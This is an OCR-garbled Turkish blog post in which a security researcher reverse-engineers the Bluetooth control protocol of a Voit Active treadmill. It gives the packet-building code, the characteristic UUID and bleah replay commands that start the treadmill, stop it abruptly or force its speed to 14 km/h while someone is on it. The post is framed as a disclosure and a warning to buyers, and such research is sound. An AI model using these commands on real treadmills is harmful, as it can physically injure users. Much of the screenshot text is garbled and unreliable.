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2020 yili itibariyle lUlkemizde etkisini arttiran Covid-19 salgini sebebiyle
spor antrendrum ile spor salonu yerine WhatsApp Uzerinden spor yapmaya
basladim. Zaman ic¢inde antrendérumin yénlendirmesiyle satin almaya basladigim
barfiks bari, agirlik seti ve sehpasi gibi spor aletleri, salginin pek de
sona erecek gibi gorinmemesi nedeniyle kosu bandi ile genislemek durumunda
kaldi ve son olarak Bluetooth fonksiyonuna Voit Active kosu bandi, spor

aletlerimin arasindaki yerini almis oldu.
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Bu kosu bandi, haftada 5 saat galisarak vei iz igin
VOIT ACTIVE kosu bandi diisiik yogunlukla evde yapilan kosu antrenmanlari igin idealdir. Basit ve
kolay olusu ile kalp kapasitenizi gelistirmeniz igin ideal yardimciniz. Kargo firmalari hacmi biiyiik ve
agirhgi fazla olan kolileri bina dniine kadar tagimaktadir. Daha detayh bilgi i¢in miigteri hizmetleri
ekibimiz ile gdriigebilirsiniz.
y

Acikcasi bu zamana dek satin aldigi elektronik aletleri hacklemeye calisan
(Yazic1i Deyip Gecmeyin!, Bir Drone Gordum Sanki, Et tu, CPCR-505 ?, Casus
Fare, Esaretten Kacgis gibi gibi) bir glvenlik arastirmacisi olarak masum kosu
bandina orantisiz gu¢ uygulamak pek aklimin ucundan gec¢miyordu. Ne zaman ki
kosu bandinda gecen yuruyus surem artmaya basladi iste o zaman kosu bandinin
panelindeki QR kod da daha fazla dikkatimi cekti.


https://www.mertsarica.com/kos-mert-kos/
https://www.mertsarica.com/run-mert-run/
https://www.decathlon.com.tr/voit-active-kosu-bandi-id_8660593.html
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QR kodu bir uygulama yardimi ile okuttugumda beni

http://www.artiwares.com/app/treadmill/spax/ adresine oradan da cok sayida
olumsuz yoruma sahip olan ve ne idugu belirsiz Cinli bir firma tarafindan
gelistirilen Google Play’deki

Gfit.INTL uygulamasinin sayfasina yonlendirdigini gordim. Kosu bandi
Bluetooth destekledigi icin bu uygulamayi kurup ne tir komutlar
gonderilebildigini incelemeye ve kendimce kotlye kullanim senaryolarini
ortaya cikarmaya karar verdim.


http://www.artiwares.com/app/treadmill/spax/
http://www.gfitgo.com/
https://play.google.com/store/apps/details?id=com.artiwares.treadmill.international

A Not Secure artiwares.coni_
A3

in

SPAX
ENJOY YOUR MOVEMENT

<« C (@ & play.google.com Y © in 8 B3 »

-

@ Text & Hack 4 Career.Inf.. in Linkedin Mert SARICA (mer... £ Inbox - mert.saric... Other Bookmarks | [E] Reading List

3: Apps Categories v Home Top charts New releases

o <

My apps
Gfit.INTL -
simier
FutureGo Inc  Health & Fitness * * 178 &
< g pecis Smart Treadm
Games Marco Moscato
Family This app is available for all of your devices \\ Share with Zwift speed,
, cadence and incline while
Editors’ Choice m running on your tread
Account Ak h*h
Payment methods REVIEWS © Review policy and info
G-FIT: Gina Ali
My subscriptions Most relevant v All Devices v All Ratings v Gina Aliotti Fitness
Redeem Your #1 source for quick
Buy gift card User reviews and effective home

workouts for the bus

i mrs B
My wishlist " I.
My Play activity

This app was recommended to use with my treadmill. Sadly it does not upload my workout,
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Bu arastirmayi yaptigimda favori aracglarimdan olan Genymotion Oykiinliclsu
(emulator) Apple M1 islemcili macOS desteklemedigi icin Android’de Kanca
Atmak yazimda oldugu gibi oykinuci tabanli dinamik analizden ve turlu

imkanlarindan faydalanamayacagimi iyi biliyordum.

Gfit uygulamasini cep telefonuma kurup RunnerT Bluetooth ismine sahip kosu
bandim ile eslestirdikten sonra uygulama lzerinden kosu bandinin temel
fonksiyonlari olan baslatma (start), hiz arttirma, hiz azaltma ve durdurma
islemlerini rahatlikla gerceklestirebildigimi gordim.


https://www.genymotion.com/
https://www.mertsarica.com/androidde-kanca-atmak/
https://www.mertsarica.com/androidde-kanca-atmak/
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Uygulama tarafindan kosu bandina gonderilen komutlari 6grenmek istedigim icin
ya statik kod analizini tercih edecektim ya da uygulamanin yikli oldugu cep
telefonundan faydalanacaktim. Statik kod analizi ile ilerlemek daha pratik

geldigi icin jadx araci ile Gfit uygulamasini incelemeye basladim.
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% g;lsto lr";;—cs‘;dge' 6.apk < ® com.artiwares.ble.treadnill.TreadmillBleControllerl © com.artiwares.ble.treadmill.TreadmillBleControllertolder ¢ >
% Sou

f## android. support
# androidx 279 this.f.a(RunDataUtil.a(bArr));
# anet.channel 5 X

f anetwork. channel

& butterknife 288 private void g(byte[] bArr) {
£ com 289 if (bArr != null & bArr.length >= 12 & (bArr[11] & 255) == @) {
£ alibaba.sdk.android 302 TreadmillDataInfo a = RunDataUtil.a(bArr);
# android.volley 304 if (this.c && a.speed == @) {
3 artiwares 306 this.c = false;
& ble 307 Y d(2e0L);
f base y
#1 chituBand }
#3 chituHeartRateBand
2 constant 317 private void f(long j) {
f## heartRateMonitor 318 this.e.a(a(7, 0, 0), j);
1 miBand 1
i scan . . .
 treadmill 321 private void b(l."t i2) {
® TreadmillBleBaseController 222 N this.e.alcl2));
] readni Ui eControler]
© TreadmillBleController2 333 private byte[] c(int i2) {
® TreadmillBleControllerHolder 334 return a(3, iz, 0);

© TreadmillBleControllerHw
® TreadmillBleHelper

® TreadmillBleService 337 private bytel] d(int i2) {
i utils 338 return a(4, 0, i2);
© AESTool :
(] BleLog 341 private byte[] a(int i2, int i3, int i4) {
© BleUtils 342 byte[] bArr = new byte[7];
© HexUtil 342 bArr[0] = (byte) (i2 & 255);

® RunDataUtil 342 bArr[1] = (byte) (i3 & 255);

® RunDataUtil2 342 bArr([2] = (byte) (i4 & 255);
s |
gxlaohelﬂand 348 bArr[5] = (byte) (((bArr[0] + bArr[1]) ~ bArrl[2]) + bArr[3] + 37);
AppHandler 352 bArr(6] = (byte) ((bArr(1] ~ bArr(0]) + bArr(2] + bArr(3] + 2);
© BleCallback 352 return bArr;
® BleServiceHandler }
® ConnectCallback »

© TimeoutCallback

# treadmill S

Uygulama genelinde kodlar gizlendigi (obfuscation) ve mevcut sartlar ve
kosullarda oykuniclu lzerinde dinamik kod analizi yapma sansim olmadigi ig¢in
hemen pes edip telefon lzerinden neler yapabilecegime bakmaya karar verdim.

Samsung’un destek sayfasinda Bluetooth paketleri kaynakli problem yasayan bir
kisinin mesajina yazilan yanittaki adimlari takip etmeye basladim.

6. adima geldigimde Gfit uygulamasi lzerinden kosu bandina baslatma, hiz
arttirma, hiz azaltma, kosu bandini durdurma komutlarini gdénderdim ve diger
adimlara gecip btsnoop hci.log dosyasini Wireshark ile analiz etmeye

basladim.


https://github.com/skylot/jadx
https://developer.android.com/studio/build/shrink-code#obfuscate
https://forum.developer.samsung.com/t/bluetooth-crash-and-data-corruption-galaxy-s20-fe-and-other-sd-865-based-devices/10746/2
https://www.wireshark.org/
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- [ ] M platform-tools — -zsh — 80x24

Hi oliver, mertrix@Hack4Career platform—tools % ./adb bugreport bugreport.zip
. . " - waiting for device -
I can not access the link https://issuetracker.google.com/issues/177246259 /data/user_de/@/com.android.shell/file.... 34.5 MB/s (26819145 bytes in 0.742s)

If you think the issue should be solved by Samsung then you can report the issue tQEN IR S T IR L LT S ]
support officially. Please below information with the report- mertrix@HackéCareer platforn-tools % |
1. Issue reproduction step with demo video

btsnoop_hci.log.] bem_bt_critical.lo  bem_bt_dbg.log bem_bt_rt.log btsnoop_hci.log
ast g

present. d

WireShark uzerinde btle.advertising address == 62:00:al:18:b5:22 filtresi ile
kosu bandina ulasan ilk komuta baktigimda kosu bandini baslatma komutu olan
01000000002603 degerini gordim.

£ btsnoop_hci.log

E Qqam

N | btleadvertising_address == 62:00:
No. | Time | Source | Destination | Protoce| Lengtt| Info
536 2021-05-15 09:24:55.243771  SamsungE_ [(YH'I'H (RunnerT) ATT 14 Sent Find Information Request, Handles: @x0024..0x0024
539 2021-05-15 09 55.2587@03  SamsungE_ [¥H''H (RunnerT) ATT 14 Sent Find Information Request, Handles: @x0027..0xffff
543 2021-05-15 55.284989  SamsungE_ [(YH'l'H (RunnerT)  ATT 13 Sent Write Command, Handle: @x@021 (Unknown: Unknown)
545 2021-05-15 09 55.292749  SamsungE_| [YH'l'H (RunnerT) ATT 12 Sent Read Request, Handle: 0x0010 (Device Information: Model Num
548 2021-05-15 09 55.479359  SamsungE_| [YH'l"H (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
549 2021-05-15 09 55.492848  SamsungE_| [yH'I'H (RunnerT) ATT 14 Sent Write Request, Handle: ©x@024 (Unknown: Unknown: Client Cha
555 2021-05-15 09 56.003030 SamsungE_} 62:00:] (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
563 2021-05-15 57.705575  SamsungE_ 62:00; (RunnerT) ATT 19 Sent Write Command, Handle: ©x@026 (Unknown: Unknown)
565 2021-05-15 124:58.004370  SamsungE_ [(YH'I'H (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
573 2021-05-15 59.503307  SamsungE_ [YH'I'H (RunnerT)  L2CAP 15 Sent Connection Parameter Update Response (Accepted)
635 2021-05-15 04.648886  SamsungE_ [YH'I'H (RunnerT) ATT 19 Sent Write Command, Handle: ©x@026 (Unknown: Unknown)
638 2021-05-15 04.851406 EELELT 62:00: (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
667 2021-05-15 10.089234  SamsungE_ 62:00: (RunnerT) ATT 19 Sent Write Command, Handle: @x@026 (Unknown: Unknown)
722 2021-05-15 23.184558 SamsungE_ 62:00: (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
774 2021-05-15 34.969924  SamsungE_ 62:00: (RunnerT)  ATT 19 Sent Write Command, Handle: ©x@026 (Unknown: Unknown)
1595 2021-05-15 10:08:35.975987  SamsungE_ 62:00: (RunnerT) ATT 16 Sent Read By Group Type Request, GATT Primary Service Declaration, Han(

Frame 563: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)
> Bluetooth
> Bluetooth HCI H4
> Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

> Opcode: Write Command (@x52)

> Handle: 0x0026 (Unknown: Unknown)

Value: 01000000002603

0000 02 41 00 Oe @0 0a 00 04 00 52 26 00 01 00 00 00
0010 00 26 03

® E  Value (btattvalue),7 bytes Packets: 5805 - Displayed: 699 (12.0%) Profile: Default

Daha sonra kosu bandina sirasiyla Bekletme/Pause (05000000002a07), hizi
saatte 9 KM'ye ayarlama (035a000000825b), hizi saatte 5.2 KM’'ye ayarlama
(03340000005¢c39) ve Durdurma (02000000002704) komutlarini gonderip WireShark
Uzerinde parantez i¢indeki diger degerleri gordim.

I1k olarak kosu bandinin tekrarlama (replay) saldirisina acik olup olmadigini



ogrenmeye karar verdim. Bunun icin de oncelike BLE destekli kosu bandina elde
ettigim Bluetooth paketlerini gdénderecek aygitta ve arac¢ta karar kilmam
gerekti. Aygit olarak Mavi Tehlike baslikli blog yazimda da kullandigim
Parani-UD100 imdadima yetisti.

Sira paket géndermek i¢in arac¢ bulmaya geldiginde gatttool, bleah ve nRF

Connect aracglari arasindan bleah ile ilerlemeye karar verdim.

Kali isletim sistemi Uzerinde bleah -b “62:00:xx:xx:xx:xx"” -e komutu ile
Generic Attribute Protocol (GATT) ile kosu bandina paket gdnderebilmek igin
ihtiyac¢ duyacagim Servisler (Services) ve Karakteristikler (Characteristics)
bilgilerine hizli bir sekilde listeleyebildim.

k. =y # setup.py - error: can't co. terminal @ Downloads 01:06PM O @
] PPy 61
root@Kali: ~/Desktop/bleah-master/bleah
File Actions Edit View Help

g for 5s [-128 dBm of sensitivity] ...

(-64 dBm)

Vendor

o
coverable, BR/EDR Not Supported

to 62:00:__[CINGEN ...

all the things ....

0-1000-8000-008059b34fb )

INDICATE

Bluetooth SIG assigned Company Identifier )

0110

001f - ffff

0021

0023 NOTIFY
0026 WRITE

e54eaa57-371b-476c-99a3-74d267e3edae karakteristik bilgisinde WRITE
0zelligini gordikten sonra bleah ile kosu bandina bleah -b
“62:00:xx:xx:xx:xx"” -u “e54eaa57-371b-476c-99a3-74d267e3edae” -d
“0x01000000002603"” komutunu gdénderdikten sonra kosu bandinin basladigini
gordum!

Bu noktada kosu bandinin tekrarlama saldirisina a¢ik oldugunu 6grendikten
sonra sira bu komutlarin nasil olusturuldugunu 6grenmeye karar verdim. Kaynak
kodu seviyesinde gizleme (obfuscation) teknigi kullanildigi ve dinamik kod
analizi de yapamadigim ic¢in Gfit uygulamasinin eski slrumlerini indirip teker


https://www.mertsarica.com/mavi-tehlike/
http://www.senanetworks.com/ud100-g03.html
http://manpages.ubuntu.com/manpages/cosmic/man1/gatttool.1.html
https://github.com/S4MU51/bleah
https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en_IN
https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en_IN
https://www.bluetooth.com/bluetooth-resources/intro-to-bluetooth-gap-gatt/
https://tr.wikipedia.org/wiki/Bluetooth_Low_Energy#Servisler_ve_Karakteristikler
https://www.apkmonk.com/app/com.artiwares.treadmill/#previous

teker incelemeye basladim ve cok gecmeden 2017 suUruminde gizleme
(obfuscation) teknigi kullanilmadigini gordim. 2020 ve 2017 kaynak kodlarini
yan yana koydugumda Gfit uygulamasindan kosu bandina gonderilen komutlarin
nasil olusturuldugunu 6grenmem oldukca kolay oldu.
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L] L ] *New Project - jadx-gui L] L] *New Project - jadx-gui
File View Navigation Tools Help File View Navigation Tools Help
s €@ [Ble IR [E=] & [T N SHOICHEIE: 3P & [E
22 gms-aruwarzs-treaﬂmx\l,m%%ﬂ'-?-avk < @ com.arti ibrary. ble. treadmill i ler X o gjls:‘i;‘c!elfo-:e-ﬁ-apk 4 © com.artiwares.ble. treadnill.TreadnillBleControllerl X © com.artiwar«
ource code @ &
F # android. support
# android 373 this.mBleControllerListe 1] & 255, datal2] & 255); @ androidx 279 ‘this.f.a(RunDataUtil.a(bArr));
# butterknife 374 this.mBleControllerListener.onReadTreadnillDeviceInfo(); # anet.channel N }
# cn.pedant. SweetAlert L Pl  anetwork. channel
& com 303 return; # butterknife 13| private void glbytal] tarr) {
# activeandroid } 289 (bArr != null & bArr.length >= 12 & (bArr[11] & 255) == @) {
# alibaba. sdk.android ) # alibaba.sdk.android 302 TreadmillDataInfo a RunDa(aUU\ a(bArr);
 amap.api } # android.volley 304 ) {
& android # artiwares 206 this.c = false;
@ artiwares 305|  private void readTreadnillLubricantsInfo(long delayillis) { @ble 307 R d(200L);
39 ‘this.nBleHelper. writeConmand(getControlConnand (7, 0, 0), delayMillis);
@ algorithm 3 pet o L ase ’
& Uibrary & chitugand N
@ ble 309|  private void writeSpeedComnandToTreadnill(int speed) { & chituHeartRateBand
£ XiaoheiBand s ‘this.nBletclper-writeC: N & constant 317|  private void (long ) {
} i heartRateMonitor 318 this.e.a(a(7, 0, @), j);
chituBand @ nieand ¥
ChitubeartRateBand 3| private void writeSlopeToTreadniii(int slope, long delayhillis) ¢
constant 04 , delayhillis); # tremanill 21| iprsteeldiblise 20
scan } gTreadmllEleBaseCantrcller R sealcl
treadmill . riaate bytel] geccontrolpeesComandint speed [TreadmiliBleControllerl
© Treadnil18leBaseController P e et 5. spacd. oy, e ¢ © TreadnillBlecontroller2 33| private bytel] ctint 2) ¢
@ TreadmillBleController } g TreadmillBleControllerHolder 334
© TreadmillBleController2 TreadmillBleControllertw }
@ TreadmillBleControllerHold 415 puv.te byte[] getcuntm\s\npe(nmndhnt slope) { @ TreadmillBleHelper
@ TreadnillBleService 416 return getControlComand(4, @, © TreadmillBleService Essd vrmﬂ hm“ m" m {
EY T readmi LB LuetoothHe Lper } @ uetils B8]y ENRER at
utils AESTool
419 private bytel] getControlComand(int mode, int speed, int slope) {
weightScale pind byte[] cnd - new byte(7]; © BleLog 341 pr)vat: byte(] a(int i2, int 13, int 14) {
ApphHandler a1 cnd(0] = (byte) (mode & 255); @ Bleltils 0 ytel] bArr = new byte(7];
BleCallback 422 cnd[1] = (byte) (speed & 255); © HexUtil 42 = (byte) (i2 & 255);
BleServiceHandle a2 cnd[2] = (byte) (slope & 255); © RunbataUtil 382 = (byte) (13 & 255); h
BuildConfig 42 mﬂ%i; =0; ® RunDataUtil2 B4 byte) (i4 & 255);
28, ondl4) = 0; weightScale d
ComectCatthack | o aiicaiie i cnie ndfieriy & weightscate
431 cnd(6] = (byte) ((cmd[0] ~ cmd[1]) + cmd(2] + emd(3] + 2); @ AppHand. 348 byte) (((bArr(0] + bArr(1]) ~ bArr(2]) + bArr[3] + 37);
TimeoutCallback P return cnd; ppHandler 352 byte) ((bArr(1] ~ bArr(8]) + bArr(2] + bArr(3] + 2);
& umeng 3 @ BleCallback 32 g
# shareutil )3 © BleServiceHandler }
# treadmill ® ConnectCallback }3
 Presenter Smali © TimeoutCallback <l
# activity  treadnill

Ornek olarak kaynak koduna hizlica g6z attigimda, kosu bandini baslatmak
(start) igin startTreadmill(long delayMillis) fonksiyonu c¢agrilmakta ardindan
mBleHelper.writeCommand(getControlCommand(1l, 0, 0), delayMillis) fonksiyonu
ve son olarak kosu bandina gdénderilecek 7 bayt degerindeki paketi olusturan
asagidaki getControlCommand(int mode, int speed, int slope) fonksiyonu
cagrilmaktaydi.

private byte[] getControlCommand(int mode, int speed, int slope) {



byte[] cmd = new byte[7];
cmd[0] (byte) (mode & 255);
cmd[1] (byte) (speed & 255);
cmd[2] (byte) (slope & 255);
cmd[3] = 0O
cmd[4] = 0
(
(

.
’

~=

cmd[5]
cmd[6] =
return cmd;

}

byte) (((cmd[0] + cmd[1]) ™ cmd[2]) + cmd[3] + 37);
byte) ((cmd[0] ™ cmd[1l]) + cmd[2] + cmd[3] + 2);

Kosu bandini baslatmak icin mode = 1, speed 0, slope = 0 degiskenleri ile
cagrilan yukardaki getControlCommand fonksiyonunda yer alan islemleri Python
ile gerceklestirdigimde 01000000002603 c¢iktisini olusturabildim. Bu sayede
artik Gfit uygulamasi olmadan kosu bandini baslatacak komuttan
(getControlCommand(1l, 0, 0)) hiz arttirmaya (getControlCommand(3, 5, 0))
kadar tuim komutlari Python ile olusturup Parani-UD100 sayesinde bleah araci

ile kosu bandina gonderebilecek noktaya geldim.

r
@ [ ] *New Project - jadx-gui
File View Navigation Tools Help

Gi[@w[&sla [Ala][e]=] & [E][F

[
3 i i 08—
% (fom'artlwares'treadmlll—2017 08-29.apk < © com.artiwares.library.ble.treadmill.TreadmillBleController
(# Source code
@ a.a.a — -
£ android b7 this.mBleHelper.addBleCallback(this.mBleCallback);
# butterknife 78 this.mBleControllerListener.onConnectionStateChange(this.mBleHelper.mState);
£ cn.pedant.SweetAlert }
com
#® o ctiveandroid " Egzigzlssit/‘/ogg,:;zggw?res. library.ble.treadmill. TreadmillBleBaseController
& allbaba{Sdk'and roid 82 this.mBleHelper. removeBleCallback(this.mBleCallback);
1 amap.api }
1 android
f# artiwares @verride // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
# algorithm 87 public void startTreadmill(long delayMillis) {
# library 88 this.mBleHelper.writeCommand(getControlCommand(1, 0, @), delayMillis);
i ble

£ XiaoheiBand @override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController

i bas'e 93 public void startTreadmill(int speed, int slope) {
£ chituBand i

£ chituHeartRateBand

f# constant @verride // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
1 scan 97 public void pauseTreadmill(long delayMillis) {
# treadmill 98 this.mBleHelper.writeCommand(getControlCommand(5, @, @), delayMillis);
@ TreadmillBleBaseController }
© TreadmillBleController

@override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController

14 Treadm:_.llBleControllerZ 103 public void resumeTreadmill(long delayMillis) {
® TreadmillBleControllertold 104 startTreadmill(delayMillis);
® TreadmillBleService }
e Treadni LB uetoothHelper]
# utils @Override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
# weightScale 107 public void stopTreadmill(long delayMillis) {
® AppHandler 108 this.mBleHelper.writeCommand (getControlCommand(2, 0, 0), delayMillis);
© BleCallback 5
° BleServiceHandle @verride // com.artiwares.library.ble.treadnill.TreadmillBleBaseController
® BuildConfig 111 public void writeSpeedToTreadmill(int speed) {
8 ConnectCallback 112 writeSpeedCommandToTreadmill(speed);
R }
© TimeoutCallback ) . . .
1 umeng @Ovefrlde.// cqm.armwares. llbrl'ary.lble.treadmlll.Treadnu%lB%eBaseController
@ shareutil 115 pubhc.vold wrlteSpeedTuTreadmlll(lnt speed, long delayMillis) { L
1A +hic mRlaHalnar writalammand(natCantralQnaadCammand(cnaad)  dalawMillic):

£ treadmill
f## Presenter
# activitv

Smali




Es Eddmf *HEDC AEBS> 58
logcatixt* Untitled1* x

ubl writeCommand(final [1 value, delayMillis) {
appHandler postDelayed( v Runnable() {

lic run() {
TreadmillBluetoothHelper. tf writeCommand(value);
b
}, delayMillis);

@Override
pL ¢ startTreadmill( delayMillis) {

“t is.mBleHelper.writeCommand(getControlCommand(1, 0, 0), delayMillis);

}

@0verride
pL startTreadmill( speed, slope) {
b

i startTreadmillRunning() {
TreadmllIBIeCuntrollerHolder getInstance().startTreadmill(400);

AD A mEKNE RIe>EF 0 E

N | btatt.opcode == 0x52 N

| Time | Source | Destination
5149 2021-05-15 10:36:35.728692 SamsungE_ (Hack4Career) 62:00::

5156 2021-05-15 10:36:36.266114 SamsungE_ | | (Hack4Career) 62:00:i
5199 2021-05-15 10:36:46.629150 SamsungE_‘
5235 2021-05-15 10:36:53.538284 SamsungE_ )
5237 2021-05-15 10:36:53.738156 SamsungE___ .-- (Hack4Career) 62:0

(Hack4Career) 62:

> Frame 5199: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)

Bluetooth
Bluetooth HCI H4

> Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
v Opcode: Write Command (@x52)
@... .... = Authentication Signature: False
«1.. «u.. = Command: True
.01 0010 = Method: Write Request (@x12)
v Handle 0x0026 (Unknown: Unknown)

[Service UUID: e54eaa50371b476c99a374d267e3edae]
[UUID: e54eaa57371b476c99a374d267e3edae]

[1 getcantrolCommand( mode, speed, slope) { Value: 01000000002603

[71;
) (mode & 255);
) (speed & 255); 0000 02 41 00 Qe 00 0a 00 04 00 52 26 00 01 00 00 00
) (slope & 255); 0010 00 26 03

) (((cmd[0] + cmd[1]) A cmd[2]) + cmd[3] + 37);
cmd[6] = ( ) ((cmd[0] A cmd[1]) + cmd[2] + cmd[3] + 2);

1 cmd;

[ ] mertrix — Python — 80x24

[mertrix@Hack4Career ~ % python3

Python 3.9.2 (v3.9. a79785e3e, Feb 19 2021, 09:06:10)

[Clang 6.0 (clang-600.0.57)] on darwin

Type "help", "copyr: "credits" or "license" for mdiiainformation.

[>>> format(@x@1&255, "@2x") + format(@x@@&255, "@2x") + format(@x@0&255, "@2x") |
+ format(exe@, "@2x") + format(exee, "@2x") + format((((@x01+0x00)"0x00)+0x00+37
), "02x") + format((@x01"0x00)+0x00+0x00+2, "02x")

'01000000002603 '

S |

Address

= Output LY L Find in Files 2 Compare W  Histogram

Inserted: 424 [1A8h] bytes ) Profile: Default

Son olarak sira aklima gelen koétiye kullanim senaryolarini pratikte denemeye

geldiginde;

Ilk olarak kosu bandinin hiz siniri olan saatte 14 KM’yi 20 KM'ye yiikseltmeye
calistigimda (bleah -b “62:00:xXx:xx:XX:XX" -u
“e54eaa57-371b-476c-99a3-74d267e3edae” -d “0x03c8000000f0cd”) maksimum 14
KM’ye ayarlanabildigini gdérdum. (iyi haber)

Ikinci olarak kosu bandina saatte 14 KM hizla giderken kosu bandina durdurma
komutu génderdigimde (bleah -b “62:00:xX:xx:xX:XxXx" -u
“e54eaa57-371b-476c-99a3-74d267e3edae” -d “0x02000000002704"”) kosu bandinin
mevcut hizdan 0 KM’'ye mevcut hiz siresinde (Saatte 14 KM hizla kosuluyorsa 14
saniyede duruyor) saniyede distugini gordim fakat ayni paketi iki defa,
pespese gonderdigimde bu defa 4-5 saniyede distugunu ve yuksek hizda kosarken
kontrolsiz bir sekilde bu denli azalmasinin kosan kisinin kaza yasamasina
imkan taniyabilecegini disindim. (koétu haber)

Son olarak disuk hizda ylruyen veya kosan bir kisinin kosu bandina, sinirsiz
bir dongide hizi satte 14 KM'ye ylikselten komut gonderdigimde asagidaki
videoda oldugu lUzere kisinin panik halinde hizi azaltmaya calissa da
basaramadigini bu nedenle kaza yasama ihtimalinin ortaya c¢iktigini gormis
oldum. Bir de bu kosu bantlarindan satin almis ve kullanima sunmus bir spor
salonuna kotl niyetli bir kisinin gidip tUm kosu bantlarina sirasiyla bu



komutu goénderdigini disindigimde yasanacak krizi gézimin o6nine getirmek bile

istemedim. (kotu haber)

Sonuc¢ itibariyle Bluetooth fonksiyonunu kapatamadiginiz ve yazilimi ne idigu
belirsiz Cinli bir firma tarafindan gelistirilen bu kosu bandini satin

almadan once veya kullanirken risklerini g6z o6nunde bulundurmanizi siddetle
tavsiye ederek bir sonraki yazida gorusmek dilegiyle herkese glivenli glinler

dilerim.


http://www.gfitgo.com/

